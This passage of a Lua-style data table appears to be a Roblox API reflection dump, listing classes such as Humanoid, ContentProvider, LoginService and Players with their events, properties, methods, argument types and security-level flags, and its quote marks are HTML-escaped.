 Name = &quot;saveInstance&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;saveNumber&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;saveString&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 {
 Name = &quot;groupId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetRankInGroup&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;groupId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetRoleInGroup&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetWebPersonalServerRank&quot;,
 backend = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsBestFriendsWith&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsFriendsWith&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;groupId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsInGroup&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;rank&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetWebPersonalServerRank&quot;,
 WritePlayerSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;WaitForDataReady&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;isFriendsWith&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;waitForDataReady&quot;,
 deprecated = true
 }
 }
 },
 ContentProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;string&quot;,
 Name = &quot;BaseUrl&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RequestQueueSize&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;contentId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;Preload&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBaseUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;count&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetCacheSize&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;count&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetThreadPool&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ManualSurfaceJointInstance = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;ManualSurfaceJointInstance&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Humanoid = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Climbing&quot;,
 Arguments = {
 {
 Name = &quot;speed&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;CustomStatusAdded&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;CustomStatusRemoved&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;Died&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;FallingDown&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;FreeFalling&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;GettingUp&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;HealthChanged&quot;,
 Arguments = {
 {
 Name = &quot;health&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;Jumping&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;PlatformStanding&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;Ragdoll&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;Running&quot;,
 Arguments = {
 {
 Name = &quot;speed&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;Seated&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;StatusAdded&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;Status&quot;
 }
 }
 },
 {
 Name = &quot;StatusRemoved&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;Status&quot;
 }
 }
 },
 {
 Name = &quot;Strafing&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;Swimming&quot;,
 Arguments = {
 {
 Name = &quot;speed&quot;,
 Type = &quot;float&quot;
 }
 }
 }
 },
 ClassName = &quot;Humanoid&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Health&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Jump&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;LeftLeg&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;MaxHealth&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;NameOcclusion&quot;,
 Type = &quot;NameOcclusion&quot;
 },
 {
 Name = &quot;PlatformStand&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;RightLeg&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Sit&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TargetPoint&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Torso&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;WalkSpeed&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;WalkToPart&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;WalkToPoint&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 deprecated = true,
 Type = &quot;float&quot;,
 Name = &quot;maxHealth&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddCustomStatus&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Type = &quot;Status&quot;,
 Name = &quot;status&quot;,
 DefaultValue = &quot;Poison&quot;
 }
 },
 Name = &quot;AddStatus&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;tool&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;EquipTool&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetStatuses&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;HasCustomStatus&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Type = &quot;Status&quot;,
 Name = &quot;status&quot;,
 DefaultValue = &quot;Poison&quot;
 }
 },
 Name = &quot;HasStatus&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;animation&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LoadAnimation&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;MoveTo&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RemoveCustomStatus&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Type = &quot;Status&quot;,
 Name = &quot;status&quot;,
 DefaultValue = &quot;Poison&quot;
 }
 },
 Name = &quot;RemoveStatus&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetClickToWalkEnabled&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;amount&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;TakeDamage&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;UnequipTools&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;animation&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;loadAnimation&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;amount&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;takeDamage&quot;,
 deprecated = true
 }
 }
 },
 RenderHooksService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;RenderHooksService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CaptureMetrics&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;qId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;DisableQueue&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;EnableAdorns&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;qId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;EnableQueue&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetDeltaAve&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetGPUDelay&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetPresentTime&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderAve&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderConfMax&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderConfMin&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderStd&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;PrintScene&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ReloadShaders&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;width&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;height&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;ResizeWindow&quot;,
 LocalUserSecurity = true
 }
 }
 },
 PhysicsPacketCache = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PhysicsPacketCache&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 RunningAverageItemDouble = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;RunningAverageItemDouble&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Light = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Light&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Brightness&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Color&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 BodyMover = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BodyMover&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 WedgePart = {
 Inherits = &quot;FormFactorPart&quot;,
 Events = {
 },
 ClassName = &quot;WedgePart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ScriptService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ScriptService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ImageButton = {
 Inherits = &quot;GuiButton&quot;,
 Events = {
 },
 ClassName = &quot;ImageButton&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Image&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 GuiBase2d = {
 Inherits = &quot;GuiBase&quot;,
 Events = {
 },
 ClassName = &quot;GuiBase2d&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;AbsolutePosition&quot;,
 readonly = true
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;AbsoluteSize&quot;,
 readonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 DialogChoice = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DialogChoice&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ResponseDialog&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;UserDialog&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 NumberValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;NumberValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 }
 },
 JointInstance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;JointInstance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;C0&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;C1&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;Part0&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Part1&quot;,
 Type = &quot;Object&quot;
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;part1&quot;,
 hidden = true
 }
 },
 Methods = {
 }
 },
 CollectionService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ItemAdded&quot;,
 Arguments = {
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ItemRemoved&quot;,
 Arguments = {
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;CollectionService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;class&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetCollection&quot;
 }
 }
 },
 Configuration = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Configuration&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 UserGameSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;FullscreenChanged&quot;,
 Arguments = {
 {
 Name = &quot;isFullscreen&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;StudioModeChanged&quot;,
 Arguments = {
 {
 Name = &quot;isStudioMode&quot;,
 Type = &quot;bool&quot;
 }
 }
 }
 },
 ClassName = &quot;UserGameSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AllTutorialsDisabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ControlMode&quot;,
 Type = &quot;ControlMode&quot;
 },
 {
 Name = &quot;Fullscreen&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SavedQualityLevel&quot;,
 Type = &quot;SavedQualitySetting&quot;
 },
 {
 Name = &quot;VideoUploadPromptBehavior&quot;,
 Type = &quot;UploadSetting&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;tutorialId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetTutorialState&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;InFullScreen&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;InStudioMode&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;tutorialId&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetTutorialState&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 SelectionPointLasso = {
 Inherits = &quot;SelectionLasso&quot;,
 Events = {
 },
 ClassName = &quot;SelectionPointLasso&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Point&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Skin = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;Skin&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;SkinColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 Pants = {
 Inherits = &quot;Clothing&quot;,
 Events = {
 },
 ClassName = &quot;Pants&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;PantsTemplate&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataMember = {
 Inherits = &quot;ReflectionMetadataItem&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataMember&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 HopperBin = {
 Inherits = &quot;BackpackItem&quot;,
 Events = {
 {
 Name = &quot;Deselected&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Selected&quot;,
 Arguments = {
 {
 Name = &quot;mouse&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;HopperBin&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Active&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;BinType&quot;,
 Type = &quot;BinType&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Disable&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ToggleSelect&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 RuntimeScriptService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;RuntimeScriptService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 MotorFeature = {
 Inherits = &quot;Feature&quot;,
 Events = {
 },
 ClassName = &quot;MotorFeature&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Model = {
 Inherits = &quot;PVInstance&quot;,
 Events = {
 },
 ClassName = &quot;Model&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;PrimaryPart&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;BreakJoints&quot;
 },
 {
 ReturnType = &quot;CoordinateFrame&quot;,
 Arguments = {
 },
 Name = &quot;GetModelCFrame&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetModelSize&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;MakeJoints&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;MoveTo&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ResetOrientationToIdentity&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SetIdentityOrientation&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;offset&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;TranslateBy&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;breakJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;makeJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;move&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;moveTo&quot;,
 deprecated = true
 }
 }
 },
 Snap = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Snap&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BodyAngularVelocity = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyAngularVelocity&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;angularvelocity&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;maxTorque&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 VelocityMotor = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;VelocityMotor&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CurrentAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;DesiredAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Hole&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;MaxVelocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 SurfaceSelection = {
 Inherits = &quot;PartAdornment&quot;,
 Events = {
 },
 ClassName = &quot;SurfaceSelection&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TargetSurface&quot;,
 Type = &quot;NormalId&quot;
 }
 },
 Methods = {
 }
 },
 Part = {
 Inherits = &quot;FormFactorPart&quot;,
 Events = {
 },
 ClassName = &quot;Part&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Shape&quot;,
 Type = &quot;PartType&quot;
 }
 },
 Methods = {
 }
 },
 StarterPack = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;StarterPack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 PyramidPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;PyramidPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Sides&quot;,
 Type = &quot;PyramidSides&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 DynamicRotate = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;DynamicRotate&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BaseAngle&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 FastLogSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FastLogSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;filename&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DumpLogs&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;Print&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;group&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;channel&quot;,
 DefaultValue = &quot;ext&quot;
 }
 },
 Name = &quot;SetVariable&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 ArcHandles = {
 Inherits = &quot;HandlesBase&quot;,
 Events = {
 {
 Name = &quot;MouseButton1Down&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton1Up&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 },
 {
 Name = &quot;MouseDrag&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 },
 {
 Name = &quot;relativeAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;deltaRadius&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;MouseEnter&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 },
 {
 Name = &quot;MouseLeave&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 }
 },
 ClassName = &quot;ArcHandles&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Axes&quot;,
 Type = &quot;Axes&quot;
 }
 },
 Methods = {
 }
 },
 LoginService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;loginError&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoginFailed&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;username&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoginSucceeded&quot;,
 RobloxSecurity = true
 }
 },
 ClassName = &quot;LoginService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Logout&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;PromptLogin&quot;,
 RobloxSecurity = true
 }
 }
 },
 Players = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;friendRequestEvent&quot;,
 Type = &quot;FriendRequestEvent&quot;
 }
 },
 Name = &quot;FriendRequestEvent&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GameAnnounce&quot;,
 RobloxScriptSecurity = true
 },
 {
 Name = &quot;PlayerAdded&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;PlayerAddedEarly&quot;,
 LocalUserSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;chatType&quot;,
 Type = &quot;PlayerChatType&quot;
 },
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
